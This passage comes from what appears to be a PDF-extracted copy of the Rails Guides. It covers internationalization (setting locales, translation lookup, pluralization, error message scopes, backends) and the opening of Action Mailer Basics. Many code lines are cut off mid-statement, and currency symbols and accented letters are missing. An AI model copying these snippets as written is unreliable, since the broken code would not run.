currency symbol, while in :en-GB, you would have . Nothing stops you
from separating regional and other settings in this way: you just have to
provide full "English - United Kingdom" locale in a :en-GB dictionary.
Few gems such as Globalize3 may help you implement it.
The translations load path (I18n.load_path) is an array of paths to files
that will be loaded automatically. Configuring this path allows for
customization of translations directory structure and file naming scheme.
The backend lazy-loads these translations when a translation is looked up
for the first time. This backend can be swapped with something else even
after translations have already been announced.
The default config/application.rb file has instructions on how to add
locales from another directory and how to set a different default locale.

# The default locale is :en and all translations from config/loc

# config.i18n.load_path += Dir[Rails.root.join('my', 'locales',
# config.i18n.default_locale = :de

The load path must be specified before any translations are looked up. To
change the default locale from an initializer instead of
config/application.rb:
# config/initializers/locale.rb

# Where the I18n library should search for translation files

I18n.load_path += Dir[Rails.root.join('lib', 'locale', '*.{rb,ym
# Set default locale to something other than :en
I18n.default_locale = :pt

2.2 Managing the Locale across Requests

The default locale is used for all translations unless I18n.locale is
explicitly set.
A localized application will likely need to provide support for multiple
locales. To accomplish this, the locale should be set at the beginning of
each request so that all strings are translated using the desired locale
during the lifetime of that request.
The locale can be set in a before_action in the ApplicationController:
before_action :set_locale
def set_locale
I18n.locale = params[:locale] || I18n.default_locale
end

This example illustrates this using a URL query parameter to set the locale
(e.g. http://example.com/books?locale=pt). With this approach,
http://localhost:3000?locale=pt renders the Portuguese localization,
while http://localhost:3000?locale=de loads a German localization.
The locale can be set using one of many different approaches.
2.2.1 Setting the Locale from the Domain Name

One option you have is to set the locale from the domain name where your
application runs. For example, we want www.example.com to load the
English (or default) locale, and www.example.es to load the Spanish
locale. Thus the top-level domain name is used for locale setting. This has
several advantages:

The locale is an obvious part of the URL.

People intuitively grasp in which language the content will be
displayed.
It is very trivial to implement in Rails.
Search engines seem to like that content in different languages lives
at different, inter-linked domains.
You can implement it like this in your ApplicationController:
before_action :set_locale
def set_locale
I18n.locale = extract_locale_from_tld || I18n.default_locale
end

# Get locale from top-level domain or return nil if such locale

# You have to put something like:
# 127.0.0.1 application.com
# 127.0.0.1 application.it
# 127.0.0.1 application.pl
# in your /etc/hosts file to try this out locally
def extract_locale_from_tld
parsed_locale = request.host.split('.').last
I18n.available_locales.map(&:to_s).include?(parsed_locale) ? p
end

We can also set the locale from the subdomain in a very similar way:

# Get locale code from request subdomain (like http://it.applica

# You have to put something like:
# 127.0.0.1 gr.application.local
# in your /etc/hosts file to try this out locally
def extract_locale_from_subdomain
parsed_locale = request.subdomains.first
I18n.available_locales.map(&:to_s).include?(parsed_locale) ? p
end

If your application includes a locale switching menu, you would then have

something like this in it:

link_to("Deutsch", "#{APP_CONFIG[:deutsch_website_url]}#{request

assuming you would set APP_CONFIG[:deutsch_website_url] to some

value like http://www.application.de.
This solution has aforementioned advantages, however, you may not be
able or may not want to provide different localizations ("language
versions") on different domains. The most obvious solution would be to
include locale code in the URL params (or request path).
2.2.2 Setting the Locale from URL Params

The most usual way of setting (and passing) the locale would be to include
it in URL params, as we did in the I18n.locale = params[:locale]
before_action in the first example. We would like to have URLs like
www.example.com/books?locale=ja or www.example.com/ja/books in
this case.
This approach has almost the same set of advantages as setting the locale
from the domain name: namely that it's RESTful and in accord with the
rest of the World Wide Web. It does require a little bit more work to
implement, though.
Getting the locale from params and setting it accordingly is not hard;
including it in every URL and thus passing it through the requests is. To
include an explicit option in every URL, e.g.
link_to(books_url(locale: I18n.locale)), would be tedious and
probably impossible, of course.
Rails contains infrastructure for "centralizing dynamic decisions about the
URLs" in its ApplicationController#default_url_options, which is
useful precisely in this scenario: it enables us to set "defaults" for url_for

and helper methods dependent on it (by implementing/overriding

default_url_options).
We can include something like this in our ApplicationController then:
# app/controllers/application_controller.rb
def default_url_options
{ locale: I18n.locale }
end

Every helper method dependent on url_for (e.g. helpers for named routes
like root_path or root_url, resource routes like books_path or
books_url, etc.) will now automatically include the locale in the query
string, like this: http://localhost:3001/?locale=ja.
You may be satisfied with this. It does impact the readability of URLs,
though, when the locale "hangs" at the end of every URL in your
application. Moreover, from the architectural standpoint, locale is usually
hierarchically above the other parts of the application domain: and URLs
should reflect this.
You probably want URLs to look like this:
http://www.example.com/en/books (which loads the English locale) and
http://www.example.com/nl/books (which loads the Dutch locale). This
is achievable with the "over-riding default_url_options" strategy from
above: you just have to set up your routes with scope:
# config/routes.rb
scope "/:locale" do
resources :books
end

Now, when you call the books_path method you should get "/en/books"
(for the default locale). A URL like http://localhost:3001/nl/books
should load the Dutch locale, then, and following calls to books_path

should return "/nl/books" (because the locale changed).

Since the return value of default_url_options is cached per request, the
URLs in a locale selector cannot be generated invoking helpers in a loop
that sets the corresponding I18n.locale in each iteration. Instead, leave
I18n.locale untouched, and pass an explicit :locale option to the helper,
or edit request.original_fullpath.
If you don't want to force the use of a locale in your routes you can use an
optional path scope (denoted by the parentheses) like so:
# config/routes.rb
scope "(:locale)", locale: /en|nl/ do
resources :books
end

With this approach you will not get a Routing Error when accessing your
resources such as http://localhost:3001/books without a locale. This is
useful for when you want to use the default locale when one is not
specified.
Of course, you need to take special care of the root URL (usually
"homepage" or "dashboard") of your application. A URL like
http://localhost:3001/nl will not work automatically, because the
root to: "books#index" declaration in your routes.rb doesn't take
locale into account. (And rightly so: there's only one "root" URL.)
You would probably need to map URLs like these:
# config/routes.rb
get '/:locale' => 'dashboard#index'

Do take special care about the order of your routes, so this route
declaration does not "eat" other ones. (You may want to add it directly

before the root :to declaration.)

Have a look at various gems which simplify working with routes:
routing_filter, rails-translate-routes, route_translator.
2.2.3 Setting the Locale from User Preferences

An application with authenticated users may allow users to set a locale

preference through the application's interface. With this approach, a user's
selected locale preference is persisted in the database and used to set the
locale for authenticated requests by that user.

def set_locale
I18n.locale = current_user.try(:locale) || I18n.default_locale
end
2.2.4 Choosing an Implied Locale

When an explicit locale has not been set for a request (e.g. via one of the
above methods), an application should attempt to infer the desired locale.
2.2.4.1 Inferring Locale from the Language Header

The Accept-Language HTTP header indicates the preferred language for

request's response. Browsers set this header value based on the user's
language preference settings, making it a good first choice when inferring
a locale.
A trivial implementation of using an Accept-Language header would be:

def set_locale
logger.debug "* Accept-Language: #{request.env['HTTP_ACCEPT_LA
I18n.locale = extract_locale_from_accept_language_header
logger.debug "* Locale set to '#{I18n.locale}'"
end
private

def extract_locale_from_accept_language_header
request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first
end

In practice, more robust code is necessary to do this reliably. Iain Hecker's

http_accept_language library or Ryan Tomayko's locale Rack middleware
provide solutions to this problem.
2.2.4.2 Inferring the Locale from IP Geolocation

The IP address of the client making the request can be used to infer the
client's region and thus their locale. Services such as GeoIP Lite Country
or gems like geocoder can be used to implement this approach.
In general, this approach is far less reliable than using the language header
and is not recommended for most web applications.
2.2.5 Storing the Locale from the Session or Cookies

You may be tempted to store the chosen locale in a session or a cookie.

However, do not do this. The locale should be transparent and a part of
the URL. This way you won't break people's basic assumptions about the
web itself: if you send a URL to a friend, they should see the same page
and content as you. A fancy word for this would be that you're being
RESTful. Read more about the RESTful approach in Stefan Tilkov's
articles. Sometimes there are exceptions to this rule and those are
discussed below.

3 Internationalization and Localization

OK! Now you've initialized I18n support for your Ruby on Rails
application and told it which locale to use and how to preserve it between
requests.
Next we need to internationalize our application by abstracting every
locale-specific element. Finally, we need to localize it by providing
necessary translations for these abstracts.
Given the following example:
# config/routes.rb
Rails.application.routes.draw do
root to: "home#index"
end
# app/controllers/application_controller.rb
class ApplicationController < ActionController::Base
before_action :set_locale
def set_locale
I18n.locale = params[:locale] || I18n.default_locale
end
end
# app/controllers/home_controller.rb
class HomeController < ApplicationController
def index
flash[:notice] = "Hello Flash"
end
end
# app/views/home/index.html.erb
<h1>Hello World</h1>
<p><%= flash[:notice] %></p>

3.1 Abstracting Localized Code

There are two strings in our code that are in English and that users will be
rendered in our response ("Hello Flash" and "Hello World"). In order to
internationalize this code, these strings need to be replaced by calls to
Rails' #t helper with an appropriate key for each string:
# app/controllers/home_controller.rb
class HomeController < ApplicationController
def index
flash[:notice] = t(:hello_flash)
end
end
# app/views/home/index.html.erb
<h1><%=t :hello_world %></h1>
<p><%= flash[:notice] %></p>

Now, when this view is rendered, it will show an error message which tells
you that the translations for the keys :hello_world and :hello_flash are
missing.

Rails adds a t (translate) helper method to your views so that you do not
need to spell out I18n.t all the time. Additionally this helper will catch
missing translations and wrap the resulting error message into a <span
class="translation_missing">.
3.2 Providing Translations for Internationalized Strings
Add the missing translations into the translation dictionary files:
# config/locales/en.yml
en:
hello_world: Hello world!
hello_flash: Hello flash!
# config/locales/pirate.yml
pirate:
hello_world: Ahoy World
hello_flash: Ahoy Flash

Because the default_locale hasn't changed, translations use the :en

locale and the response renders the english strings:

If the locale is set via the URL to the pirate locale

(http://localhost:3000?locale=pirate), the response renders the
pirate strings:

You need to restart the server when you add new locale files.
You may use YAML (.yml) or plain Ruby (.rb) files for storing your
translations in SimpleStore. YAML is the preferred option among Rails
developers. However, it has one big disadvantage. YAML is very sensitive
to whitespace and special characters, so the application may not load your
dictionary properly. Ruby files will crash your application on first request,
so you may easily find what's wrong. (If you encounter any "weird issues"
with YAML dictionaries, try putting the relevant portion of your
dictionary into a Ruby file.)

3.3 Passing Variables to Translations

One key consideration for successfully internationalizing an application is
to avoid making incorrect assumptions about grammar rules when
abstracting localized code. Grammar rules that seem fundamental in one
locale may not hold true in another one.
Improper abstraction is shown in the following example, where
assumptions are made about the ordering of the different parts of the
translation. Note that Rails provides a number_to_currency helper to
handle the following case.
# app/views/products/show.html.erb
<%= "#{t('currency')}#{@product.price}" %>
# config/locales/en.yml
en:
currency: "$"
# config/locales/es.yml
es:
currency: ""

If the product's price is 10 then the proper translation for Spanish is "10 "
instead of "10" but the abstraction cannot give it.
To create proper abstraction, the I18n gem ships with a feature called
variable interpolation that allows you to use variables in translation
definitions and pass the values for these variables to the translation
method.
Proper abstraction is shown in the following example:
# app/views/products/show.html.erb
<%= t('product_price', price: @product.price) %>

# config/locales/en.yml
en:
product_price: "$%{price}"
# config/locales/es.yml
es:
product_price: "%{price} "

All grammatical and punctuation decisions are made in the definition

itself, so the abstraction can give a proper translation.
The default and scope keywords are reserved and can't be used as
variable names. If used, an I18n::ReservedInterpolationKey exception
is raised. If a translation expects an interpolation variable, but this has not
been passed to #translate, an I18n::MissingInterpolationArgument
exception is raised.
3.4 Adding Date/Time Formats
OK! Now let's add a timestamp to the view, so we can demo the date/time
localization feature as well. To localize the time format you pass the Time
object to I18n.l or (preferably) use Rails' #l helper. You can pick a
format by passing the :format option - by default the :default format is
used.
# app/views/home/index.html.erb
<h1><%=t :hello_world %></h1>
<p><%= flash[:notice] %></p>
<p><%= l Time.now, format: :short %></p>

And in our pirate translations file let's add a time format (it's already there
in Rails' defaults for English):
# config/locales/pirate.yml

pirate:
time:
formats:
short: "arrrround %H'ish"

So that would give you:

Right now you might need to add some more date/time formats in order to
make the I18n backend work as expected (at least for the 'pirate' locale).
Of course, there's a great chance that somebody already did all the work by
translating Rails' defaults for your locale. See the rails-i18n repository
at GitHub for an archive of various locale files. When you put such file(s)
in config/locales/ directory, they will automatically be ready for use.
3.5 Inflection Rules For Other Locales
Rails allows you to define inflection rules (such as rules for singularization
and pluralization) for locales other than English. In
config/initializers/inflections.rb, you can define these rules for
multiple locales. The initializer contains a default example for specifying
additional rules for English; follow that format for other locales as you see
fit.
3.6 Localized Views

Let's say you have a BooksController in your application. Your index

action renders content in app/views/books/index.html.erb template.
When you put a localized variant of this template: index.es.html.erb in
the same directory, Rails will render content in this template, when the
locale is set to :es. When the locale is set to the default locale, the generic
index.html.erb view will be used. (Future Rails versions may well bring
this automagic localization to assets in public, etc.)
You can make use of this feature, e.g. when working with a large amount
of static content, which would be clumsy to put inside YAML or Ruby
dictionaries. Bear in mind, though, that any change you would like to do
later to the template must be propagated to all of them.
3.7 Organization of Locale Files
When you are using the default SimpleStore shipped with the i18n library,
dictionaries are stored in plain-text files on the disk. Putting translations
for all parts of your application in one file per locale could be hard to
manage. You can store these files in a hierarchy which makes sense to
you.
For example, your config/locales directory could look like this:
|-defaults
|---es.rb
|---en.rb
|-models
|---book
|-----es.rb
|-----en.rb
|-views
|---defaults
|-----es.rb
|-----en.rb
|---books
|-----es.rb
|-----en.rb

This way, you can separate model and model attribute names from text
inside views, and all of this from the "defaults" (e.g. date and time
formats). Other stores for the i18n library could provide different means of
such separation.
The default locale loading mechanism in Rails does not load locale files in
nested dictionaries, like we have here. So, for this to work, we must
explicitly tell Rails to look further:

# config/application.rb
config.i18n.load_path += Dir[Rails.root.join('config', 'locale

4 Overview of the I18n API Features

You should have a good understanding of using the i18n library now and
know how to internationalize a basic Rails application. In the following
chapters, we'll cover its features in more depth.
These chapters will show examples using both the I18n.translate
method as well as the translate view helper method (noting the
additional feature provide by the view helper method).
Covered are features like these:
looking up translations
interpolating data into translations
pluralizing translations
using safe HTML translations (view helper method only)
localizing dates, numbers, currency, etc.
4.1 Looking up Translations
4.1.1 Basic Lookup, Scopes and Nested Keys

Translations are looked up by keys which can be both Symbols or Strings,

so these calls are equivalent:
I18n.t :message
I18n.t 'message'

The translate method also takes a :scope option which can contain one
or more additional keys that will be used to specify a "namespace" or
scope for a translation key:

I18n.t :record_invalid, scope: [:activerecord, :errors, :message

This looks up the :record_invalid message in the Active Record error

messages.
Additionally, both the key and scopes can be specified as dot-separated
keys as in:
I18n.translate "activerecord.errors.messages.record_invalid"

Thus the following calls are equivalent:

I18n.t 'activerecord.errors.messages.record_invalid'
I18n.t 'errors.messages.record_invalid', scope: :activerecord
I18n.t :record_invalid, scope: 'activerecord.errors.messages'
I18n.t :record_invalid, scope: [:activerecord, :errors, :message
4.1.2 Defaults

When a :default option is given, its value will be returned if the

translation is missing:
I18n.t :missing, default: 'Not here'
# => 'Not here'

If the :default value is a Symbol, it will be used as a key and translated.

One can provide multiple values as default. The first one that results in a
value will be returned.
E.g., the following first tries to translate the key :missing and then the key
:also_missing. As both do not yield a result, the string "Not here" will be
returned:
I18n.t :missing, default: [:also_missing, 'Not here']
# => 'Not here'

4.1.3 Bulk and Namespace Lookup

To look up multiple translations at once, an array of keys can be passed:

I18n.t [:odd, :even], scope: 'errors.messages'
# => ["must be odd", "must be even"]

Also, a key can translate to a (potentially nested) hash of grouped

translations. E.g., one can receive all Active Record error messages as a
Hash with:

I18n.t 'activerecord.errors.messages'
# => {:inclusion=>"is not included in the list", :exclusion=> ..
4.1.4 "Lazy" Lookup

Rails implements a convenient way to look up the locale inside views.

When you have the following dictionary:
es:
books:
index:
title: "Ttulo"

you can look up the books.index.title value inside

app/views/books/index.html.erb template like this (note the dot):
<%= t '.title' %>

Automatic translation scoping by partial is only available from the

translate view helper method.
"Lazy" lookup can also be used in controllers:

en:
books:
create:
success: Book created!

This is useful for setting flash messages for instance:

class BooksController < ApplicationController
def create
# ...
redirect_to books_url, notice: t('.success')
end
end

4.2 Pluralization
In English there are only one singular and one plural form for a given
string, e.g. "1 message" and "2 messages". Other languages (Arabic,
Japanese, Russian and many more) have different grammars that have
additional or fewer plural forms. Thus, the I18n API provides a flexible
pluralization feature.
The :count interpolation variable has a special role in that it both is
interpolated to the translation and used to pick a pluralization from the
translations according to the pluralization rules defined by CLDR:
I18n.backend.store_translations :en, inbox: {
one: 'one message',
other: '%{count} messages'
}
I18n.translate :inbox, count: 2
# => '2 messages'
I18n.translate :inbox, count: 1
# => 'one message'

The algorithm for pluralizations in :en is as simple as:

entry[count == 1 ? 0 : 1]

I.e. the translation denoted as :one is regarded as singular, the other is

used as plural (including the count being zero).
If the lookup for the key does not return a Hash suitable for pluralization,
an I18n::InvalidPluralizationData exception is raised.
4.3 Setting and Passing a Locale
The locale can be either set pseudo-globally to I18n.locale (which uses
Thread.current like, e.g., Time.zone) or can be passed as an option to
#translate and #localize.
If no locale is passed, I18n.locale is used:
I18n.locale = :de
I18n.t :foo
I18n.l Time.now

Explicitly passing a locale:

I18n.t :foo, locale: :de
I18n.l Time.now, locale: :de

The I18n.locale defaults to I18n.default_locale which defaults to :en.

The default locale can be set like this:
I18n.default_locale = :de

4.4 Using Safe HTML Translations

Keys with a '_html' suffix and keys named 'html' are marked as HTML
safe. When you use them in views the HTML will not be escaped.
# config/locales/en.yml
en:
welcome: <b>welcome!</b>
hello_html: <b>hello!</b>
title:
html: <b>title!</b>
# app/views/home/index.html.erb
<div><%= t('welcome') %></div>
<div><%= raw t('welcome') %></div>
<div><%= t('hello_html') %></div>
<div><%= t('title.html') %></div>

Interpolation escapes as needed though. For example, given:

en:
welcome_html: "<b>Welcome %{username}!</b>"

you can safely pass the username as set by the user:

<%# This is safe, it is going to be escaped if needed. %>
<%= t('welcome_html', username: @current_user.username) %>

Safe strings on the other hand are interpolated verbatim.

Automatic conversion to HTML safe translate text is only available from
the translate view helper method.

4.5 Translations for Active Record Models

You can use the methods Model.model_name.human and
Model.human_attribute_name(attribute) to transparently look up
translations for your model and attribute names.
For example when you add the following translations:
en:
activerecord:
models:
user: Dude
attributes:
user:
login: "Handle"
# will translate User attribute "login" as "Handle"

Then User.model_name.human will return "Dude" and

User.human_attribute_name("login") will return "Handle".
You can also set a plural form for model names, adding as following:
en:
activerecord:
models:
user:
one: Dude

other: Dudes

Then User.model_name.human(count: 2) will return "Dudes". With

count: 1 or without params will return "Dude".
In the event you need to access nested attributes within a given model, you
should nest these under model/attribute at the model level of your
translation file:
en:
activerecord:
attributes:
user/gender:
female: "Female"
male: "Male"

Then User.human_attribute_name("gender.female") will return

"Female".
If you are using a class which includes ActiveModel and does not inherit
from ActiveRecord::Base, replace activerecord with activemodel in
the above key paths.
4.5.1 Error Message Scopes

Active Record validation error messages can also be translated easily.

Active Record gives you a couple of namespaces where you can place
your message translations in order to provide different messages and
translation for certain models, attributes, and/or validations. It also
transparently takes single table inheritance into account.
This gives you quite powerful means to flexibly adjust your messages to
your application's needs.
Consider a User model with a validation for the name attribute like this:

class User < ApplicationRecord

validates :name, presence: true
end

The key for the error message in this case is :blank. Active Record will
look up this key in the namespaces:

activerecord.errors.models.[model_name].attributes.[attribute_na
activerecord.errors.models.[model_name]
activerecord.errors.messages
errors.attributes.[attribute_name]
errors.messages

Thus, in our example it will try the following keys in this order and return
the first result:
activerecord.errors.models.user.attributes.name.blank
activerecord.errors.models.user.blank
activerecord.errors.messages.blank
errors.attributes.name.blank
errors.messages.blank

When your models are additionally using inheritance then the messages
are looked up in the inheritance chain.
For example, you might have an Admin model inheriting from User:
class Admin < User
validates :name, presence: true
end

Then Active Record will look for messages in this order:

activerecord.errors.models.admin.attributes.name.blank
activerecord.errors.models.admin.blank
activerecord.errors.models.user.attributes.name.blank

activerecord.errors.models.user.blank
activerecord.errors.messages.blank
errors.attributes.name.blank
errors.messages.blank

This way you can provide special translations for various error messages at
different points in your models inheritance chain and in the attributes,
models, or default scopes.
4.5.2 Error Message Interpolation

The translated model name, translated attribute name, and value are always
available for interpolation.
So, for example, instead of the default error message "cannot be blank"
you could use the attribute name like this : "Please fill in your %
{attribute}".
count, where available, can be used for pluralization if present:

validation
with option
confirmation acceptance presence
absence
length
:within, :in
length
:within, :in
length
:is
length
:minimum
length
:maximum
uniqueness format
-

message
:confirmation
:accepted
:blank
:present
:too_short
:too_long
:wrong_length
:too_short
:too_long
:taken
:invalid

interpol
attribute
count
count
count
count
count
-

inclusion
exclusion
associated
numericality
numericality
numericality
numericality
numericality
numericality
numericality
numericality
numericality
numericality

:inclusion
:exclusion
:invalid
:not_a_number
:greater_than
:greater_than
count
:greater_than_or_equal_to :greater_than_or_equal_to count
:equal_to
:equal_to
count
:less_than
:less_than
count
:less_than_or_equal_to :less_than_or_equal_to count
:other_than
:other_than
count
:only_integer
:not_an_integer
:odd
:odd
:even
:even
-

4.5.3 Translations for the Active Record error_messages_for Helper

If you are using the Active Record error_messages_for helper, you will
want to add translations for it.
Rails ships with the following translations:

en:
activerecord:
errors:
template:
header:
one: "1 error prohibited this %{model} from being sa
other: "%{count} errors prohibited this %{model} from
body: "There were problems with the following fields:

In order to use this helper, you need to install DynamicForm gem by

adding this line to your Gemfile: gem 'dynamic_form'.

4.6 Translations for Action Mailer E-Mail Subjects

If you don't pass a subject to the mail method, Action Mailer will try to
find it in your translations. The performed lookup will use the pattern
<mailer_scope>.<action_name>.subject to construct the key.
# user_mailer.rb
class UserMailer < ActionMailer::Base
def welcome(user)
#...
end
end
en:
user_mailer:
welcome:
subject: "Welcome to Rails Guides!"

To send parameters to interpolation use the default_i18n_subject

method on the mailer.

# user_mailer.rb
class UserMailer < ActionMailer::Base
def welcome(user)
mail(to: user.email, subject: default_i18n_subject(user: use
end
end
en:
user_mailer:
welcome:
subject: "%{user}, welcome to Rails Guides!"

4.7 Overview of Other Built-In Methods that Provide I18n Support

Rails uses fixed strings and other localizations, such as format strings and

other format information in a couple of helpers. Here's a brief overview.

4.7.1 Action View Helper Methods

distance_of_time_in_words translates and pluralizes its result and

interpolates the number of seconds, minutes, hours, and so on. See

datetime.distance_in_words translations.
datetime_select and select_month use translated month names for
populating the resulting select tag. See date.month_names for
translations. datetime_select also looks up the order option from
date.order (unless you pass the option explicitly). All date selection
helpers translate the prompt using the translations in the
datetime.prompts scope if applicable.
The number_to_currency, number_with_precision,
number_to_percentage, number_with_delimiter, and
number_to_human_size helpers use the number format settings
located in the number scope.
4.7.2 Active Model Methods

model_name.human and human_attribute_name use translations for

model names and attribute names if available in the

activerecord.models scope. They also support translations for
inherited class names (e.g. for use with STI) as explained above in
"Error message scopes".
ActiveModel::Errors#generate_message (which is used by Active
Model validations but may also be used manually) uses
model_name.human and human_attribute_name (see above). It also
translates the error message and supports translations for inherited
class names as explained above in "Error message scopes".
ActiveModel::Errors#full_messages prepends the attribute name
to the error message using a separator that will be looked up from
errors.format (and which defaults to "%{attribute} %{message}").

4.7.3 Active Support Methods

Array#to_sentence uses format settings as given in the support.array

scope.

5 How to Store your Custom Translations

The Simple backend shipped with Active Support allows you to store
translations in both plain Ruby and YAML format.2
For example a Ruby Hash providing translations can look like this:
{
pt: {
foo: {
bar: "baz"
}
}
}

The equivalent YAML file would look like this:

pt:
foo:
bar: baz

As you see, in both cases the top level key is the locale. :foo is a
namespace key and :bar is the key for the translation "baz".
Here is a "real" example from the Active Support en.yml translations
YAML file:
en:
date:
formats:
default: "%Y-%m-%d"
short: "%b %d"
long: "%B %d, %Y"

So, all of the following equivalent lookups will return the :short date

format "%b %d":

I18n.t 'date.formats.short'
I18n.t 'formats.short', scope: :date
I18n.t :short, scope: 'date.formats'
I18n.t :short, scope: [:date, :formats]

Generally we recommend using YAML as a format for storing

translations. There are cases, though, where you want to store Ruby
lambdas as part of your locale data, e.g. for special date formats.

6 Customize your I18n Setup

6.1 Using Different Backends
For several reasons the Simple backend shipped with Active Support only
does the "simplest thing that could possibly work" for Ruby on Rails3 ...
which means that it is only guaranteed to work for English and, as a side
effect, languages that are very similar to English. Also, the simple backend
is only capable of reading translations but cannot dynamically store them
to any format.
That does not mean you're stuck with these limitations, though. The Ruby
I18n gem makes it very easy to exchange the Simple backend
implementation with something else that fits better for your needs. E.g.
you could exchange it with Globalize's Static backend:
I18n.backend = Globalize::Backend::Static.new

You can also use the Chain backend to chain multiple backends together.
This is useful when you want to use standard translations with a Simple
backend but store custom application translations in a database or other
backends. For example, you could use the Active Record backend and fall
back to the (default) Simple backend:

I18n.backend = I18n::Backend::Chain.new(I18n::Backend::ActiveRec

6.2 Using Different Exception Handlers

The I18n API defines the following exceptions that will be raised by
backends when the corresponding unexpected conditions occur:

MissingTranslationData # no translation was found for the

InvalidLocale # the locale set to I18n.locale is

InvalidPluralizationData # a count option was passed but the

MissingInterpolationArgument # the translation expects an interp
ReservedInterpolationKey # the translation contains a reserv
UnknownFileType # the backend does not know how to

The I18n API will catch all of these exceptions when they are thrown in
the backend and pass them to the default_exception_handler method. This
method will re-raise all exceptions except for MissingTranslationData
exceptions. When a MissingTranslationData exception has been caught,
it will return the exception's error message string containing the missing
key/scope.
The reason for this is that during development you'd usually want your
views to still render even though a translation is missing.
In other contexts you might want to change this behavior, though. E.g. the
default exception handling does not allow to catch missing translations
during automated tests easily. For this purpose a different exception
handler can be specified. The specified exception handler must be a
method on the I18n module or a class with #call method:
module I18n
class JustRaiseExceptionHandler < ExceptionHandler
def call(exception, locale, key, options)
if exception.is_a?(MissingTranslationData)
raise exception.to_exception
else
super
end
end
end
end
I18n.exception_handler = I18n::JustRaiseExceptionHandler.new

This would re-raise only the MissingTranslationData exception, passing

all other input to the default exception handler.

However, if you are using I18n::Backend::Pluralization this handler
will also raise I18n::MissingTranslationData: translation missing:
en.i18n.plural.rule exception that should normally be ignored to fall
back to the default pluralization rule for English locale. To avoid this you
may use additional check for translation key:

if exception.is_a?(MissingTranslationData) && key.to_s != 'i18n.

raise exception.to_exception
else
super
end

Another example where the default behavior is less desirable is the Rails
TranslationHelper which provides the method #t (as well as #translate).
When a MissingTranslationData exception occurs in this context, the
helper wraps the message into a span with the CSS class
translation_missing.
To do so, the helper forces I18n#translate to raise exceptions no matter
what exception handler is defined by setting the :raise option:

I18n.t :foo, raise: true # always re-raises exceptions from the

7 Conclusion
At this point you should have a good overview about how I18n support in
Ruby on Rails works and are ready to start translating your project.
If you want to discuss certain portions or have questions, please sign up to
the rails-i18n mailing list.

8 Contributing to Rails I18n

I18n support in Ruby on Rails was introduced in the release 2.2 and is still
evolving. The project follows the good Ruby on Rails development
tradition of evolving solutions in gems and real applications first, and only
then cherry-picking the best-of-breed of most widely useful features for
inclusion in the core.
Thus we encourage everybody to experiment with new ideas and features
in gems or other libraries and make them available to the community.
(Don't forget to announce your work on our mailing list)
If you find your own locale (language) missing from our example
translations data repository for Ruby on Rails, please fork the repository,
add your data and send a pull request.

9 Resources
Google group: rails-i18n - The project's mailing list.
GitHub: rails-i18n - Code repository and issue tracker for the railsi18n project. Most importantly you can find lots of example
translations for Rails that should work for your application in most
cases.
GitHub: i18n - Code repository and issue tracker for the i18n gem.

10 Authors
Sven Fuchs (initial author)
Karel Minak

11 Footnotes
1 Or, to quote Wikipedia: "Internationalization is the process of designing

a software application so that it can be adapted to various languages and

regions without engineering changes. Localization is the process of
adapting software for a specific region or language by adding localespecific components and translating text."
2 Other backends might allow or require to use other formats, e.g. a

GetText backend might allow to read GetText files.

3 One of these reasons is that we don't want to imply any unnecessary load

for applications that do not need any I18n capabilities, so we need to keep
the I18n library as simple as possible for English. Another reason is that it
is virtually impossible to implement a one-fits-all solution for all problems
related to I18n for all existing languages. So a solution that allows us to
exchange the entire implementation easily is appropriate anyway. This also
makes it much easier to experiment with custom features and extensions.

Action Mailer Basics Ruby on

Rails...

1 Introduction
Action Mailer allows you to send emails from your application using
mailer classes and views. Mailers work very similarly to controllers. They
inherit from ActionMailer::Base and live in app/mailers, and they have
associated views that appear in app/views.

2 Sending Emails
This section will provide a step-by-step guide to creating a mailer and its
views.
2.1 Walkthrough to Generating a Mailer
2.1.1 Create the Mailer

$ bin/rails generate mailer UserMailer

create app/mailers/user_mailer.rb
create app/mailers/application_mailer.rb
invoke erb
create app/views/user_mailer
create app/views/layouts/mailer.text.erb
create app/views/layouts/mailer.html.erb
invoke test_unit
create test/mailers/user_mailer_test.rb
create test/mailers/previews/user_mailer_preview.rb
# app/mailers/application_mailer.rb
class ApplicationMailer < ActionMailer::Base
default from: "[email protected]"
layout 'mailer'
end
# app/mailers/user_mailer.rb
class UserMailer < ApplicationMailer
end

As you can see, you can generate mailers just like you use other generators
with Rails. Mailers are conceptually similar to controllers, and so we get a
mailer, a directory for views, and a test.
If you didn't want to use a generator, you could create your own file inside
of app/mailers, just make sure that it inherits from ActionMailer::Base:

class MyMailer < ActionMailer::Base

end
2.1.2 Edit the Mailer

Mailers are very similar to Rails controllers. They also have methods
called "actions" and use views to structure the content. Where a controller
generates content like HTML to send back to the client, a Mailer creates a
message to be delivered via email.
app/mailers/user_mailer.rb contains an empty mailer:
class UserMailer < ApplicationMailer
end

Let's add a method called welcome_email, that will send an email to the
user's registered email address:
class UserMailer < ApplicationMailer
default from: '[email protected]'

def welcome_email(user)
@user = user
@url = 'http://example.com/login'
mail(to: @user.email, subject: 'Welcome to My Awesome Site')
end
end

Here is a quick explanation of the items presented in the preceding

method. For a full list of all available options, please have a look further
down at the Complete List of Action Mailer user-settable attributes
section.
default Hash - This is a hash of default values for any email you
send from this mailer. In this case we are setting the :from header to a

value for all messages in this class. This can be overridden on a peremail basis.
mail - The actual email message, we are passing the :to and
:subject headers in.
Just like controllers, any instance variables we define in the method
become available for use in the views.
2.1.3 Create a Mailer View

Create a file called welcome_email.html.erb in

app/views/user_mailer/. This will be the template used for the email,
formatted in HTML:

<!DOCTYPE html>
<html>
<head>
<meta content='text/html; charset=UTF-8' http-equiv='Content
</head>
<body>
<h1>Welcome to example.com, <%= @user.name %></h1>
<p>
You have successfully signed up to example.com,
your username is: <%= @user.login %>.<br>
</p>
<p>
To login to the site, just follow this link: <%= @url %>.
</p>
<p>Thanks for joining and have a great day!</p>
</body>
</html>

Let's also make a text part for this email. Not all clients prefer HTML
emails, and so sending both is best practice. To do this, create a file called
welcome_email.text.erb in app/views/user_mailer/:
Welcome to example.com, <%= @user.name %>
===============================================

You have successfully signed up to example.com,

your username is: <%= @user.login %>.
